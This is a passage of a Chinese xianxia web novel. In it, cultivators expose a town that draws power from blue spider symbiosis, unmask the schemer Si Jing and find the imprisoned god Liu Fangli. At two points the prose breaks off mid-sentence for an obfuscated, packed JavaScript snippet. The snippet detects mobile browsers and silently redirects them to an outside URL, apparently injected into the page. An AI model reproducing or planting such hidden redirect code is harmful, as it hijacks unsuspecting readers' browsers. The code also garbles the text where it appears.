戚寻盘着腿,手肘撑着膝盖,看着池梦虞眉眼间散不开的烦闷,从见了自己,池梦虞对他只有冷漠疏离。 明明他易容成司景的时候,池梦虞对他态度温和,谈笑自如。 就算司景是他易容的,戚寻心中仍然泛着浅浅的酸意。 池梦虞似乎睡着了,面容如白璧无瑕,她的头微微往戚寻的肩膀边倾,又停住了。 戚寻抬起手,在碰到池梦虞脸颊前,指尖缩了缩。 若是池梦虞醒来,发现靠在他的肩膀上,恐怕只会更加烦闷不悦。 过了片刻,戚寻只是将飘下来的落叶轻抚开。 * 入夜,没有风,整个小镇静默得近乎毫无生气。 学堂那两扇被长刀扎出几十个刀眼的门板紧闭着。 池梦虞和戚寻隐身在门外,并没有等很久,便听到一阵低沉凄切的乐音。 “是埙。”戚寻在池梦虞耳边轻声道。 随着埙声,一个穿灰色短打的中年人,垂首如同梦游般,呆滞地拖着脚步往学堂走来。 池梦虞一眼看到,那人后颈上,趴着一只半个巴掌大小的蓝幽蛛,螯肢扎入皮肉里,正用口器吸着血。 直到中年人走到门板边,拿着一个陶埙放在嘴边吹奏的人,从转角中走了出来。 那人走路的姿势很怪异,两条腿像是不受控制,时而膝盖歪扭,时而小腿翻折,让人感觉他立马要摔倒。 但他又这么晃晃颤颤地走了过来。 走近了,两人才看清,那人的裤腿下,露出的一截小腿,竟然是干枯的木头。 中年人在埙声的控制下,双目空洞,转身背靠着门板,站到门槛上。 那人衣衫褴褛,面孔脏黑,头发蓬乱,是个十七八岁的乞丐。 他走近门板,抬头看着门槛上的牌匾,一双黑亮的眼眸里,似乎有水光,干涸起皮的双唇磕碰着,念叨着什么。 池梦虞仔细辨认,在他念第三遍,才听出来,是断断续续的:“离离……原上草,一岁一……枯荣……” 第三遍念完,他拔出身后的长刀,刀刃往中年人的心口刺去。 戚寻及时出手,掐诀扔出一个捆缚术,金色的几道灵流将那人双手双脚捆扎,拽倒在地上。 果然只是个毫无灵力的凡人。 门上的中年人死里逃生恍然如梦初醒,抱头大呼小叫。 戚寻解了隐身术,正慢吞吞地拆两人衣袖上的结。 一群镇民擎着火把,浩浩荡荡地朝这边过来,慕栩领头,嘴脸兴奋到狰狞,他看着地上被捆挣扎的人,阴冷道:“阿归,果然是你。” 陶埙掉在地上,被慕栩一脚踩碎。 阿归眼中涌出两行泪,他徒劳挣扎着,张着嘴嘶吼,发出一些意义未明的字眼,似乎已经不能正常说话。 池梦虞从戚寻手里揪回自己的衣袖,她朝着慕栩问:“凶手抓到了,星月呢?” “多谢仙师替奇人镇擒获恶凶。”一个年长的老者走出人群,看起来在镇里应该是德高望重的存在,他朝池梦虞戚寻行礼,“仙师的小友已经在鄙舍,还请两位仙师到鄙舍稍作休息,天亮后再送各位下山。” 慕栩那副强横的表情稍作收敛,扶着老者喊了声爷爷。 难道所谓的奇人镇真相就是只是这个看似疯癫的凡人持刀杀人。 如果只是这个连行动都困难的凡人,那为什么镇上的人抓不了他。 池梦虞面露疑惑,但还是跟着镇民一起,在慕栩爷爷的引领下,一路到镇中心的慕家。 阿归被几个人拖着,一路上没少吵嚷。 慕家在镇上最为富有,三面的房屋围出一个可以容纳近百人的院子,另一面则是围墙和大门。 房子也是镇上少有的两层,灰瓦屋顶下的木雕繁复精湛。 在院子中央,阿归被按跪在地,镇民围了一圈,房子外聚着不少人,几乎举镇的人都来看这个连续杀了四十几人,让整个镇上的人惶惶不得终日的凶手。 慕爷爷站在人群中央,气质稳重威严,他朝池梦虞戚寻两人道:“此人是镇上一个无父无母的乞丐,竟残害人命数十条,今日也请两位仙师做个见证,如此穷凶极恶之徒,当乱杖打死。” 擎着火把的镇民高声呼和,大快人心。 池梦虞默默观察着,虽然慕栩行事乖张,但看来慕家在镇上受到大部分镇民的拥护,估计平日镇上的大小事都是慕家一言堂说了算。 “离!”跪着的阿归仰头,脏污的脸被泪水冲出两道沟,似乎要把喉咙撕出血来,用尽全力地喘 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池梦虞站在阿归面前,转向众人,道:“对于诸位,我也有问题想问。” 镇民面面相觑,慕栩已经露出不耐烦的神色。 “昨日夜里被杀的那位,尸体已经被慕公子带人烧掉,如果我没猜错的话,之前被杀之人的尸体,应该也都被毁尸灭迹了,此举为何?”池梦虞说话的时候,甚至有一点松弛。 火光中,慕栩跟身后的镇民闻言露出剑拔弩张的气势。 “你们是担心,我们在尸体上探查出什么?”池梦虞直面众人,没等众人回答,又自言自语似的轻缓道:“你们担心被发现,奇人镇的修士空有灵力修为,却没有灵根。” 身为修士,夜出却依然擎火把,处置凶手用乱杖打死这种凡人才会用方式。 这座三年前凭空出现的修士小镇,确实蹊跷。 围在院子里的镇民脸上闪过恐慌,随后近乎一致地,用仇视的眼神看向中央的池梦虞。 一旁的戚寻朝池梦虞靠近,站到她身边。 “你们不该知道太多。”慕栩凶相毕露,阴险的声音如同毒蛇吐信般,“可惜了,你们看不到天亮。” 人太多了,都有灵力修为,里里外外围着池梦虞和戚寻。 池梦虞淡淡一笑,低声问戚寻:“这是姓慕的家?” “没错。”戚寻幸灾乐祸地应道。 “给我上!”慕栩率扶着老者往后退,高声命令。 像有水滴进油锅里,人群瞬间炸沸,拿着木杖的镇民朝两人围冲而上。 不过一瞬,池梦虞抬手握住砸下来的木杖,白衣黑丝飘拂,眼中聚起银光,雷劫般的灵流从天而降,整个院子亮如白昼。 哦不,银光亮起时,院子连同房屋瞬间炸成废墟,片甲不留。 镇民来不及反应,被极强的灵流冲击往外摔开。 戚寻在池梦虞动手前,默契地抬手将地上阿归的束缚一收,顺手给他罩了个防御阵。 于是一片废墟中,只剩池梦虞和戚寻背靠背站着,旁边蹲着个抱头的阿归。 尘雾散开,废墟下竟露出慕家的地下密室来。 原本要通过种种机关,才能下去的密室,就这么被掀了顶,成了一个坑。 坑底角落里,两个本来被捆在柱子上的人,因为柱子炸没了,而松了禁锢。 李星月因为重伤,被另一个人扶着,那人抬头朝池梦虞看过来。 正是,真正的奇人镇司景。 身着缁衫玉带,书生面相文质彬彬。 8. 奇人镇(五) 池梦虞和戚寻跃入坑中,阿归被一并带下来。 戚寻扶住李星月,先翻出一颗丹药给她吃下,又并指施疗愈术法。 李星月伤得重,戚寻近乎把池梦虞借他的灵力耗尽,才收回手指。 “你是不是知道,奇人镇的人修为和灵力是怎么来的?”池梦虞略微思索,看着司景问。 因为他留在藏雪楼的委托,引来了外人,才被慕栩那些人给抓起来。 “是蓝幽蛛。”司景的眉毛较淡,眉心紧拧,白净的面孔透着软弱,“每个镇上的人都跟蓝幽蛛结下共生契,蓝幽蛛吸人的血,而镇上的人通过蓝幽蛛延长寿元,共生共存。” 司景将半披着头发撩起,露出后颈,上面赫然趴着一只蓝幽蛛。 而池梦虞之前在尸体上看到留下的血洞,便是人一死,附生的蓝幽蛛也死了。 这就是共生共存。 池梦虞感到神奇,所以那头巨蓝幽蛛会听慕栩的话,其实是在护食? “所以阿归通过埙声控制的,是蓝幽蛛?”池梦虞了然,看向阿归。 从见了司景,阿归的情绪又很激动,他龇牙咧嘴地用凶狠的眼神瞪着司景。 状似疯狗。 “对。”司景避开他的眼神。 因为镇上所有人都被蓝幽蛛附生,所以抓不了能通过吹埙控制蓝幽蛛的阿归,而阿归,是镇上唯一没有被附生的普通凡人。 “蓝幽蛛只是一种普通的吸血蛛,偶尔在凡间出现,都会因残害无辜被仙门灭杀,怎么会让凡人也有灵力修为?”戚寻扶着悠悠转醒的李星月,一阵见血问。 这应该才是真正的所谓“奇人镇的真相”。 阿归嘴巴张合着,扑通跪在池梦虞脚边,发狂地抓住池梦虞的裙摆,脏黑的双手把白衣抓出几道印子,哐地猛磕头。 戚寻眉毛微微上挑,眼底闪过一抹阴暗。 司景脸色很差,事已至此不可能瞒得下去,他声音带着颤抖,刚开口:“因为……” 一片巨大的阴影突然覆盖在密室上方。 蓝幽蛛泛着幽幽蓝光的复眼朝坑底的几人看过来。 李星月刚睁开眼,便看到身边的戚寻,喊了声:“大师兄!” 还没来得及惊喜,抬头又看到那些毛茸茸的细腿,顿时头皮发麻,大惊失色一吼:“又来!” 池梦虞抬手一扫,灵流闪过,将蓝幽蛛扫开。 众人跃出地坑,回到地面,随后便看到,让人骨寒毛竖的一幕。 还未散开的银色光芒中,一千多个镇民围站着,每个人都面目呆滞,眼神空洞,后颈上的蓝幽蛛复眼发光。 同时,镇民后方无数的巨型蓝幽蛛从四面八方爬过来,地面震颤抖动。 暗夜下,从崖底倾巢而出的蓝幽蛛,密密麻麻布满整个奇人镇,围着镇中心的这几个人。 每个镇民手里都拿着剑,像被蓝幽蛛同化了,没有神智。 “到底怎么回事?”池梦虞看向唯一还保持神智的司景,冷声问道。 这些镇民同蓝幽蛛共生共存,也就是如果池梦虞释放足够强的灵力把铺天盖地的蓝幽蛛灭了,这一千多的镇民也同样会死于非命。 而且如今真相还未明。 随着一头蓝幽蛛发出一声嘶鸣,镇民和蓝幽蛛群起而攻。 戚寻双手分别并起食指和中指,十字交叠,手指翻飞施术,以几人为中心,张开一个金色方体防御阵。 蓝幽蛛暴雨一般扑上来,砸落在几人上空,镇民目光游离,行尸走肉般持剑挥砍。 这些人,还能算是活人吗。 池梦虞皱着眉头,感到一阵焦躁愤懑,质问:“为什么这些人会失控?” “是、是母蛛。”司景冷汗淋淋,满脸畏惧道。 在猛烈的攻击下,防御阵微微颤动,戚寻指尖凝着金光,眸色微动,以他的灵力,防御阵恐怕撑不了多久。 “带路。”朝司景丢下两个字,池梦虞把阿归推给李星月,“星月,他就交给你了。” 因为戚寻双手并指维持着防御阵,如今生死攸关,池梦虞垂眸抿唇,像是下定某种决心,抬手猛地揪住戚寻的领子。 她踮起脚,额头与戚寻眉心轻碰,将灵力送入戚寻体内。 戚寻睁大眼睛,眼底被池梦虞的睫毛轻轻一扫。 从李星月的角度看,就像是池梦虞扑吻上去一般。 金色光华流转,防御阵加重三层,猛地膨胀起来,将蓝幽蛛和镇民震开几丈。 上方出现破口,戚寻拦腰横抱起池梦虞,踩着御行阵飞上半空。 李星月把阿归一捡,也跟着御剑飞上来。 司景则御剑在前方带路。 从空中往下看,整个奇人镇的房子上都爬满了蓝幽蛛,在夜色中,密密麻麻的蓝色光点让人颇感不适。 镇民有的御剑,有的跃上房顶,试图追赶。但显然,这些人的修为极为寻常,很快被池梦虞几人甩开。 飞到上山的那道悬崖瀑布外,司景指了指瀑布中间的位置,道:“蓝幽蛛巢穴的入口,就在瀑布后面。” 戚寻在周身凝起灵力光芒,抱着池梦虞穿过瀑布,落在一个幽深的洞口外。 刚站稳,一群大大小小的蓝幽蛛劈头盖脸从洞口中蹿出来,被戚寻一抬手,拂开滚落下悬崖。 另外三人也跟着进来。 身后瀑布声哗啦,带着水汽的清凉,戚寻在池梦虞面前半蹲下来。 池梦虞正要躲开,却见他只是抬指凝了个净尘术,将她裙摆上刚被阿归抓出来的脏印子抹掉。 随后起身,戚寻还转头看了阿归一眼。 阿归怯怯地往李星月身后躲。 洞口大概只有能容一只巨型蓝幽蛛通过的大小,黑峻峻深不见底。 李星月咽了下口水,甚至还听到一声咕咚的回声。 戚寻托了个掌心焰,示意司景在前面带路。 进了山洞里,才发现别有洞天,一路上岔口极多,洞口连着洞口,复杂而繁密,并且有许多人无法通过的小洞口。 “天呐,怪不得有那么多蜘蛛。”李星月持剑断后,盯着一个洞口看久了,不由自主地打了个寒颤。 通道很窄,刚走着,就听到一声不祥的嘶鸣声,石壁微微震颤。 迎面一头蓝幽蛛蹿了出来,速度极快,朝几人贴脸袭来。 戚寻抬手张开一个防御阵,将洞口堵住。 他朝池梦虞点了下头,沉稳道:“你们先走。” “这边。”司景带着几人转头拐进岔道。 因为靠近水源,洞里潮湿,不知又行了多远,后方传来蛛腿撞击石壁的追赶声,不知道从哪里蹿出来的。 通道很窄,这头蓝幽蛛要小得多,李星月举剑回挡,洞穴里空间有限,剑式难以完全发挥,她将灵力聚在剑上,往前刺去。 “池姐姐,你们快走!” 池梦虞指尖微动,又压抑住,他们已经深入山体,灵力失控会让这些石洞全部坍塌,直接将把他们活埋在这里。 “往这边。”司景在前面喊。 池梦虞提着阿归,跟着司景转入一人高的洞口。 一段通道很长,中间也没有分岔口,池梦虞心下疑惑,司景在通道尽头,扶着石壁道:“就是前面了。” 池梦虞上前,从洞口进去,抬头却发现,里面不过是个小型的山洞,没有其他出口。 就是死胡同。 毫无预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836881|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆地,池梦虞身形一顿,一根暗红色灵力凝成的尖刺从她身后刺入,穿体而过。 全身经脉剧痛震颤。 “你……”池梦虞缓缓转头,刚张口,血涌了出来,眼一闭昏厥倒地。 司景托着掌心焰,全然没了那副文弱模样,眼神阴狠地看着山洞里躺着的一身白衣。 后颈的蓝幽蛛缓缓地爬到他胸前,他又凝出一根暗红色的尖刺。 阿归惊慌失措,仍然扭着他那两条可笑的腿,哑声吼着挡在池梦虞前面,螳臂当车地朝司景扑过去。 “滚开!”司景厉声一吼,将他甩到石壁上。 司景刚要抬手刺向池梦虞眉心,颈侧突然一凉,天青色的剑刃划破他的皮肉。 “怎么,以为把我们两都引开了。”李星月手里拿着剑出现在他身后。 而面前的池梦虞眼神清明地站了起来。 戚寻上前,扶住池梦虞,不放心地问:“怎么样?” 池梦虞动了动指尖,只要想运行灵力,经脉便疼得厉害,她轻呼一口气,道:“无碍,顶多四五个时辰不能运行灵力。正好,免得我没控制住灵力,把这山洞给炸了。” “你们怎么发现的。”司景一幅难以置信的表情。 “若不是你在远芳学堂出过手,我差点还真以为,你是真的想救人。”池梦虞很少这么气愤。 远芳学堂里那个陷阱的灵力,并不是慕栩那帮人的修为能布下。 “其实你才是这一切的慕后黑手,奇人镇唯一真正的修士。”池梦虞肯定了心中的猜测。 他根本就不是被慕栩抓走,而是慕栩一直在遵照他的指令办事。 一切就说得通了。 “哈哈……”司景捂着肚子发笑,竟然笑出满眼的泪水,他扬着嘴角,悲声道:“如果我说,其实我真的想过救人呢?” 池梦虞神色一顿。 “没用的,你们出不去了。”司景闭了闭眼,看着池梦虞,道:“你也会被吃掉。” 他猛地抬手,在石壁上一按。 山洞的地面突然向下打开,几人猝不及防地脚下一空往下掉。 坠空一段距离,落在一片柔软有韧性的蛛丝上面。 司景显然对此处十分熟悉,落地时便趁机躲藏起来。 几人所在的地方豁然开朗,是一处极宽阔的洞穴,就如同把整座山挖成空心的。 洞穴四面的石壁上,布满密麻的大大小小的洞口,全是蓝幽蛛的巢穴,此时数不清的蓝幽蛛从洞口爬出,弥漫在石壁上。 而洞穴底部,铺满杂乱厚实的白色蛛丝,底部中央,趴着一头肚子巨大,八根蛛腿甚至碰不到地面的母蛛。 母蛛大张的口器中,吐着源源不断的蛛丝。 而就在母蛛前方蛛丝最浓密的地方,竟挂着一个人。 说是人,其实不怎么能看出来了,无数的蛛丝穿进他的身体,就像他的每一根血脉里,都长满了蛛丝,整个人几乎跟蛛丝床融为一体,只剩下一张冷白的脸。 而明明五官都十分年轻,脸皮却如同耄耋老人一样干瘪枯皱。 池梦虞几人一时反应不过来,因为那实在太过触目惊心了。 直到阿归爆发一声叩心泣血的痛哭声。 他跪在地上,看向蛛丝中的人,眼中除了悲伤,还有无尽难言的悔恨。 那人的肤色白的不寻常,戚寻惊诧地望向池梦虞,这种如雪般的肤色,与池梦虞如出一辙。 池梦虞心口像破开了洞,她茫然地上前,注视着那人,许久才艰难开口:“你是谁?” 那人的眼皮缓缓掀开,瞳仁近乎透明,如梦初醒般游离。 他答道:“我来自镜渊,我,是一个神。” 9. 奇人镇(六) 三年前,瀑布边的山壁上,凿出来的石阶错开铺成一条歪斜蜿蜒的路。 积石峨峨的悬崖上,屹立着一座无名小镇,远离尘世。 镇上的人以在峡谷中采集稀缺的草木和石料,制作胭脂膏粉,卖给城里的胭脂铺子,来维持生计,过着悠然宁静的生活,日复一日。 那本来也只是寻常的一天,镇上新来了一位叫柳方离的先生。 但先生实在长得太好看了,皮肤白得像新雪,齐肩长的黑发披着,穿一身碧螺青的轻衫,一颦一笑让人倍感温暖和亲切。 先生给学堂取了个名字叫远芳学堂,不收取费用教镇上的孩子启蒙识字。 消息很快就传遍了整个小镇。 镇民夸赞声连连,纷纷把家里的小孩送到学堂来。 不多几天,学堂里便传出稚声稚气的朗朗读书声。 先生特别有耐心,说起话来温声细语,又学识渊博,无所不知,孩子们最喜欢围在院子里的廊檐下,抓着先生的袖子,听先生讲故事。 有次阿归趴在围墙上,也听得入了迷,被院子里的顽皮小孩拿石头丢在额头上,惨叫出声摔进院子里。 十五岁的小乞丐衣服破烂不堪,补丁重重,脏兮兮的脸顶着个蓬乱的鸡窝头,他坐在地上哎哟哎哟地揉屁股,抬起头时,便看见柳方离站在他面前,低着头朝他一笑。 阿归的眼睛睁得圆圆的,那是他这辈子见过,最干净的人。 “你也想读书识字吗?”柳方离朝他伸出手,轻声问他。 阿归身上太脏了,没让柳方离的手碰到,他从地上蹦了起来,红着脸不好意思地说:“我、我已经十五了。” 不会有人愿意教一个目不识丁的乞丐,只会晦气地把他赶走。 “十五岁也可以识字,只要你愿意学,就可以到学堂里来,跟着大家一起学。”柳方离温和又坚定地告诉他。 从来没有人问过他愿不愿意。 “我愿意!”阿归几乎抢着回答,心跳得极快,他先是脸红耳赤,接着激动地跳起来,挥舞着双手,惊喜欲狂地欢呼。 学堂里的孩子有六七岁的,最大的也不过九岁,阿归坐在最后一排,比前面的孩子高出一个脑袋。 柳方离翻开书,教孩子们学新的诗词。 阿归还不认得字,他仰望着台上的先生,大声朗朗地跟着念:“离离原上草,一岁一枯荣。” 脏兮兮的面孔,笑得天真又灿烂。 廊檐下清风低喃,正是人间三月春的好时节。 柳方离让阿归帮忙打扫学堂内外,抄书晒书,一日三餐有阿归陪伴,而阿归也不用再沿街乞讨。 这样的生活过了一个月。 十五岁的少年性子里总少不了调皮贪玩,阿归会认真背完先生要求的书,转头也会跟学堂里的孩子玩闹。 学堂里常闹闹哄哄,鸡飞狗跳。 只要不闹得过分,柳方离总是莞尔一笑而过。 直到有天散学,阿归和四个八九岁大的男孩,起了玩心跑进深林里。 丛林间枝繁叶茂,错综复杂,几个孩子围着树干追逐打闹。 不自觉间天色将暗,阿归叉着腰,出声提醒该回家了。 而就在此时,不远处的树木发出震颤抖动的窸窣声。 几个人还没反应过来,一头黑熊张着淋漓血盆大口,猛然间蹿了出来! 四个小男孩吓得大叫,愣是不知道跑。 阿归勉强镇定捡起石头,朝黑熊的头用力砸上去,大声喊:“跑啊!快往镇上跑!去叫大人来。” 黑熊被激怒,呲着兽牙朝阿归一吼,阿归掉头就往相反的方向跑,将黑熊引开。 四个小孩这才连滚带爬,朝镇上跑去。 天彻底黑下来,柳方离没等到阿归回来吃饭,提着一盏风灯正候在学堂门外。 跑回来的孩子哭着喊着,上气不接下气地抓着柳方离的袖子。 抓在手里的袖子一空,孩子呆愣地看着柳方离身形如烟一闪,消失在原地。 柳方离在深林中找到阿归时,阿归满口温热的鲜血涌出,眼珠子转向身旁的柳方离,含糊到微不可闻地叫了声:“先……生……” “我在。”柳方离蹲下身,握住阿归的手掌。 阿归于是露出一个笑容,他的身体,从腹部以下都被野兽吃掉了,血肉模糊,泼了一地。 手心的温度在慢慢褪却,柳方离沉吟片刻,瞳孔中凝起绿色的光华。 一道绿色的光柱直冲上空,又很快熄灭。 灵光散开,阿归的双腿又完好如初地出现,被野兽撕扯出来的伤口奇迹般地愈合了。 而柳方离头上,有一小缕头发,变成白色。 过了好一会儿,阿归才反应过来,他又惊又喜地坐起来,随后没绷住,呜哇哇地大哭起来,边哭边哽咽着问:“先生,你、你是神仙吗?” 那晚,柳方离一路背着阿归,从山林回到学堂,柳方离叮嘱阿归,这件事一定不能告诉任何人。 阿归拼命点头,保证一定不会说出去。 但只隔了三天,镇上发生了另外一件事情。 从阑州城里回来的司景,欣喜地告诉莫婉,他去天枢阁测出了灵根,以后可以进入天枢阁修炼成为修士。 两情相悦的两人互许山盟海誓,准备成亲。 而就在两人拜堂成亲时,在镇上恶贯满盈的慕栩带人闯入。 慕栩公开爱慕莫婉已久,见她与司景成婚,妒火中烧,他拿刀生生活剥了司景的灵根,逼着莫婉答应三天后嫁给自己,这才肯罢休。 司景重伤昏迷不醒,莫婉心中恨意难平,更不愿与慕栩成亲。 走投无路之下,她垂泪在崖边站了许久,起了轻生的念头。 “婉姐姐!”阿归路过时,见到这一幕,连忙出声呼喊。 之前在镇上乞讨的时候,莫婉是唯一以善意待他,会将刚出笼的肉包子用纸包好递给他,而不是给吃剩的饭菜。 莫婉心如死灰,在阿归的追问下,才将被慕栩威逼的事情告诉他。 “只要、只要司景大哥的灵根能够恢复,是不是就可以成为很厉害的修士,打过慕栩那个坏家伙。”阿归犹豫着,对莫婉说道。 但莫婉知道,废掉的灵根怎么可能恢复,她眼泪横流,一心求死,往崖边冲去:“我断不会让那个恶人得逞。” 阿归拦腰死死抱住她,情急之下脱口而出:“有办法!有办法可以恢复灵根。” 夜里,阿归帮莫婉一起搀扶着昏迷的司景,来到学堂找柳方离。 阿归跪在廊檐下,用力地磕头:“先生对不起,但求您救救婉姐姐。” 柳方离垂眸凝思了许久,终究还是抬起了手,替司景将灵根修复如初。 他从镜渊入世,忘记为何而来,他不会攻击伤害,只会救人,但他一直隐瞒自己有着无限灵力,以普通凡人的身份生活。 因为就如同池梦虞运转灵力便会失控一样,他若运转灵力,他的神魂便要承受剧痛和消耗。 但凡人只会将他视为,能够生死人肉白骨的神。 短期内两次消耗,让柳方离脸色苍白如纸,他只是抬起手,温和依旧地拍了拍阿归的头,又对莫婉两人道:“离开吧。” * 司景进了天枢阁,但因资质一般,只成为一名外门弟子,每天洒扫干活比修炼多。 连观摩内门弟子修炼的时间都没有,更是连阁主的面也没见过,灵力迟迟未能凝出。 对天枢阁外门弟子来说,苦修百年才进入内门是常有的事。 但司景等不了百年,被慕栩活剥灵根的凌辱之仇,他誓必要报。 入阁不过一个月,司景暗中闯了禁阁,翻到禁书,看到通过与蓝幽蛛母蛛结契,来汲取他人灵力的法阵。 他想起柳方离为他修复灵根时,那深不可测的灵力。 但这需要,被汲取灵力的人自愿入阵。 他不光记恨慕栩的凌辱之仇,他还受够了在天枢阁这种低三下四的身份。 盗了禁书,司景很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836882|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被天枢阁除名,逐出仙门。 甚至因为他太不起眼,这件事情,在天枢阁里并没有激起什么水花。 和莫婉回到小镇上,司景暗中散布远芳学堂的先生能生死人肉白骨的传言。 很快便有几个镇民因伤病而上门求医。 柳方离出手了。 随后一场有预谋的疫病在镇中传播开,得病的镇民身上皮肤先出现大片红紫,之后便开始溃烂。 没人知道这种疫病致不致命,所有人惶惶不得终日。 病情严重的镇民往远芳学堂聚集,将学堂围得水泄不通,他们哭着喊着,求柳方离救命。 柳方离耗着神魂,救治了三天,一头黑丝彻底白了。 第四天,他全身疼得起不了身,和衣躺在廊檐下,碧螺青色的轻衫下,人像是凭空削薄了三分。 阿归跪在他身边,悔恨流泪,一遍遍地道歉:“先生,对不起,对不起……” 学堂院子里,染了疫病的镇民跪成一片,一双双含泪的眼睛仰视着他,哀求声哽塞凄切,甚至伴有孩童的啼哭声。 柳方离的性子,哪见得了这种场面,他勉力撑着上身,几缕白丝顺着无暇的侧脸流下,他轻声开口道:“我不是不救大家,只是太疼了,等……” 他还没接着说下去,被前面一个镇民大声打断:“你只是会疼而已,我们会死啊!” “是啊是啊……” “先生,我们只是想活命……” “求求先生,救救我们……” 镇民们七嘴八舌的声音像潮水朝柳方离淹来,他面无表情地僵在原地。 直到司景出现,他告诉镇民,他在天枢阁学到一个阵法,只要先生愿意入阵,不但能让所有人百病全消,还能长命百岁。 在镇民哭天抢地声中,柳方离点了点头。 司景在学堂门口,给镇民每人分发一碗药,那是吸引蓝幽蛛附生的药引。 “百病全消,长命百岁”对凡人来说,吸引力太大了。 所有人都抢着喝下那碗药。 随后,一头巨大的母蛛出现在学堂上方,无数半个巴掌大小的蓝幽蛛从它身下爬出,迅速地爬满了整个学堂。 天地变色,一只又一只蓝幽蛛爬上镇民的后脖子,螯肢呲啦刺入。 母蛛倾吐着蛛丝,朝柳方离裹来。 司景这是以全镇的性命胁迫,逼柳方离自愿入阵。 绿光从眸中淡下去,柳方离缓缓垂下头,任由那些蛛丝侵入他的血脉之中。 唯独阿归不肯也不愿喝那个药水,他看着先生被蛛丝缠绕,发狂地冲上去,用牙齿去撕咬。 他想救先生,也只有他。 但先生被逼至此,也是因为他。 柳方离低着头看向他,如同他摔进学堂那天般,朝他轻轻一笑:“快走,再也不要回来。” “我不走!我不走!”阿归红透的双眼泪涌如珠,他拼尽全身的力气,扯着不断变多的蛛丝。 柳方离艰难地抬起手,轻按阿归的头顶,最后说了句:“要好好的。” 阿归的双腿突然直立起来,一股突如其来的力量拽着他往外跑。 那是因为,他的双腿是柳方离给他的,那是柳方离神魂的一部分。 阿归扭着头往后看,撕心裂肺地哭喊:“先生,我不走!我不走!” 司景已经控制了全镇的人,他不能就这么放阿归离开。 柳方离保护了他,让他疾步如飞,很快消失在夜色中。 蛛丝彻底侵入柳方离的血脉之中,母蛛将他提至半空,他如同一具人偶垂落四肢,绿色的灵流顺着蛛丝缓缓流淌而出。 身为阵主,司景感受到无穷无尽的灵力涌入灵脉之中。 他转身,一个拳头砸在慕栩脸上,把人击飞砸到墙上,他快意猖獗地仰天大笑:“哈哈哈!” 而跟蓝幽蛛共生一起入阵的镇民,也同样从柳方离身上汲取了灵力,延长寿元。 自此,一座所有人都拥有灵力的奇人镇现世。 10. 奇人镇(七) 那晚,阿归一直飞奔直到离开奇人镇,双腿才停下来,他立马转身,要回去找柳方离。 但只要他一靠近山崖,双腿便会不受控制地拽着他离开。 柳方离的神魂阻止了他,想让他远离危险,再也不回奇人镇。 但越是这样,他越痛恨自己把先生的秘密说了出去。 阿归又成了流落街头的乞丐,风霜雨雪,与野狗争食。 直到三年后,阿归发现双腿的血肉开始干枯,原本就早该死在黑熊口中的身体,开始不断虚弱,五感逐一衰退。 他意识到,柳方离的神魂要陨落了,他也时日无多了。 双腿近乎变成枯木,但也阻止不了他的行动,他遇到了一个人,那人送他一个陶埙,教了他一段曲子。 阿归终于回到奇人镇,于夜色中,将曾经跪在学堂中,逼迫先生的人,一个一个钉在门板上。 如同献祭一样的报复。 “他们、他们本……就就该……死。” 洞穴里,因为离柳方离很近,阿归回光返照般能断断续续说出话来。 他抬头望着近乎被蛛丝吞没的柳方离,双眼中血和泪一起往下流。 柳方离却看着池梦虞,缓缓地露出一个笑容,他轻声说:“好久不见,梦虞,还能见到你,太好了。” 池梦虞眉间微蹙,她有些不知所措地确认,因为面前的人只剩五官还能依稀看出熟悉的样子,“方离?” 三年前从镜渊入世时,除了池梦虞,同行还有另外三人。 柳方离便是其中之一。 池梦虞颤抖着用手直接抓住蛛丝,失声道:“方离,我先救你出来……” 可是要怎么救,每一根蛛丝都连着柳方离血脉。 “是取人灵力的法阵。”戚寻并指一探,前世他开创灵力共渡的契术时,研究了大量的术法秘籍,对这种法阵了如指掌。 “为什么会变成这样?”池梦虞不解。 就算柳方离在阵中被当成灵力源流,但身为镜渊之神,灵力取之不尽,但柳方离的神魂仍在不断虚弱下去。 “是反噬。”戚寻从后面轻轻扶了一下池梦虞的肩膀,这种法阵本就是邪门禁术,反噬是必然。 “这样下去,母蛛会彻底将他吞噬,跟自己合为一体,阵主会控制不了它。母蛛的繁殖欲望是没有止境的,为了有更多的血供养子蛛,镇民会被彻底同化,行尸走肉替母蛛去吸引更多人入阵,这附近的凡人村镇都会有危险。” 司景一心妄图通过邪术,走捷径提升灵力,到头来成了母蛛繁殖的养分。 洞穴壁上,几乎覆盖满大大小小的蓝幽蛛,绝不能让母蛛彻底吞噬柳方离。 池梦虞眼底银光出现,她用力抓紧蛛丝,咬牙切齿道:“只要,只要把所有的蓝幽蛛都杀了,就能把他救出来。” 戚寻点了点头。 池梦虞猜的没错,但那意味着,一千多名与蓝幽蛛共生的镇民也会死。 这几乎是个死局。 “救、救救先生。”阿归跪在地上,他眼前开始模糊,竭力地发出一声哀求。 灵脉中灵力一滞,池梦虞先前受了伤,一时无法释放那么大范围的杀招。 “梦虞,不用救我……”柳方离抬起的眼皮很深,露出一双极其透亮好看的眼眸。 “我一定会救你,只要再等几个时辰,我……”池梦虞话刚说一半,明白过来,柳方离没说完的话是什么。 如果直接不管不顾那一千多镇民的死活,那柳方离也不会被困于此三年,甘愿被汲取灵力三年。 “一定还有其他办法。”池梦虞下意识地抓住戚寻的袖子,转头看他。 戚寻轻轻地摇了摇头。 